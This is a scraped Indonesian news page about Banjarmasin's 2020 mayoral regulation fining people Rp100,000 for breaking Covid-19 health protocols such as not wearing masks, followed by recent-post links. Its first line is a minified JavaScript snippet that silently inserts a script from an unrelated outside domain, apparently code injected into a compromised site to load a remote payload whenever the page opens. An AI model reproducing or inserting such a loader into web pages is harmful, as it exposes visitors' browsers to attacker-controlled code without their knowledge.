(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

AWAS. Denda Rp100 Ribu Bayangi Pelanggar Protokol Kesehatan di Banjarmasin!


KANALKALIMANTAN.COM, BANJARMASIN – Pemko Banjarmasin resmi menetapkan beberapa sanksi termasuk berupa denda terhadap warga yang melanggar protokol kesehatan. Di antaranya tidak memakai masker saat beraktivitas di luar rumah.

Kepala Dinas Kesehatan (Dinkes) Kota Banjarmasin Dr. Machli Riyadi membeberkan, bahwa sanksi tersebut sudah diatur dalam Peraturan Wali Kota (Perwali) Banjarmasin Nomor 60 tahun 2020. Dalam buku pedoman pelaksanaan dan penegak hukum protokol kesehatan pada masa pendemi Covid-19.

“Warga yang melanggar harus membayar denda sebesar Rp 100 ribu,” beber Machli, Senin (10/08/2020) siang.

Namun, menurutnya, sanksi berupa denda uang tunai itu bukanlah sanksi yang diutamakan. Karena, masih ada sanksi lain sebelum denda tersebut dikenakan kepada pelanggar.

“Ada beberapa sanksi lain selain denda, yakni berupa sanksi lisan, tertulis, atau sanksi menjalankan pekerjaan sosial seperti membersihkan tempat fasilitas umum,” jelasnya.

Machli menerangkan, sebelum mengenakan denda, pihaknya terlebih dahulu mengedepankan upaya persuasif dan edukatif kepada si pelanggar. “Memang sanksi denda ini sudah ditetapkan Pemko, ini adalah upaya terakhir. Tidak serta merta kita langaung menerapkan denda ini. Kita akan mengedepankan upaya persuasif dalam mengedukasi masyarakat tentang perwali ini,” jelasnya.

Kendati bagitu, mantan Wadir Administrasi dan Keuangan RSJ Sambang Lihum itu mengatakan, dalam Perwali tersebut belum diatur akan dikemanakan uang hasil denda tersebut. Uang denda yang akan terjadi sumber pendapatan atau ke kas daerah, dan masyarakat membayarnya melalui e-tilang.

Di samping itu, ia berpendapat, bahwa penerapan sanksi bagi pelanggar protokol kesehatan itu merupakan dorongan bagi masyarakat agar selalu taat dan disiplin menjalankan upaya untuk menghindari paparan Covid-19. Machli mengaku, saat ini pihaknya tengah gencar-gencarnya melakukan sosialisasi terkait hal tersebut kepada warga yang tinggal di kota Banjarmasin.

“Dalam penegakan disiplin ini, nanti kita sosialisasikan terlebih dahulu secara berjenjang kepada warga,” ujarnya.

Sedangkan untuk aparat pengawasan serta penegakkan Perwali tersebut pihaknya akan memakai petugas dari Satpol-PP Kota Banjarmasin dibantu dengan aparat dari TNI-Polri.

“Dalam penerapannya kita menugaskan aparat gabungan untuk bisa mengawasi penerapan disiplin protokol kesehatan ini di masyarakat,” tandas Machli. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.